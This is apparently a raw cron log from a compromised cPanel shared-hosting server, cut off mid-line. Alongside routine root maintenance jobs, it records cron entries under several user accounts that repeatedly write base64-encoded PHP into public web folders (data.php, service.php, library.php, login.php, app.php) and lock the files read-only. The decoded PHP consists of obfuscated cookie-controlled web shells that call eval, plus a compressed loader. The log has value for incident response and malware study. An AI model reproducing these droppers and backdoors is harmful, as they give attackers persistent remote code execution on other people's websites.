Mar  1 14:50:02 medusa CROND[6536]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:50:02 medusa CROND[6537]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:50:02 medusa CROND[6554]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:50:02 medusa CROND[6556]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:50:02 medusa CROND[6557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:50:02 medusa CROND[6566]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 14:50:02 medusa CROND[6558]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 14:50:02 medusa CROND[6555]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 14:50:02 medusa CROND[6568]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:50:02 medusa CROND[6562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:50:02 medusa CROND[6553]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 14:50:02 medusa CROND[6584]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 14:51:01 medusa CROND[30882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:51:01 medusa CROND[30940]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:51:01 medusa CROND[31011]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:51:01 medusa CROND[31012]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:51:01 medusa CROND[31015]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:51:01 medusa CROND[31016]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:51:02 medusa CROND[31018]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:51:02 medusa CROND[31020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:51:02 medusa CROND[31021]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:51:02 medusa CROND[31023]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:51:02 medusa CROND[31022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:51:02 medusa CROND[31028]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:51:02 medusa CROND[31034]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:51:02 medusa CROND[31035]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:51:02 medusa CROND[31036]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:52:02 medusa CROND[23976]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:52:02 medusa CROND[23977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:52:02 medusa CROND[23978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:52:02 medusa CROND[23979]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:52:02 medusa CROND[23980]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:52:02 medusa CROND[23981]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJ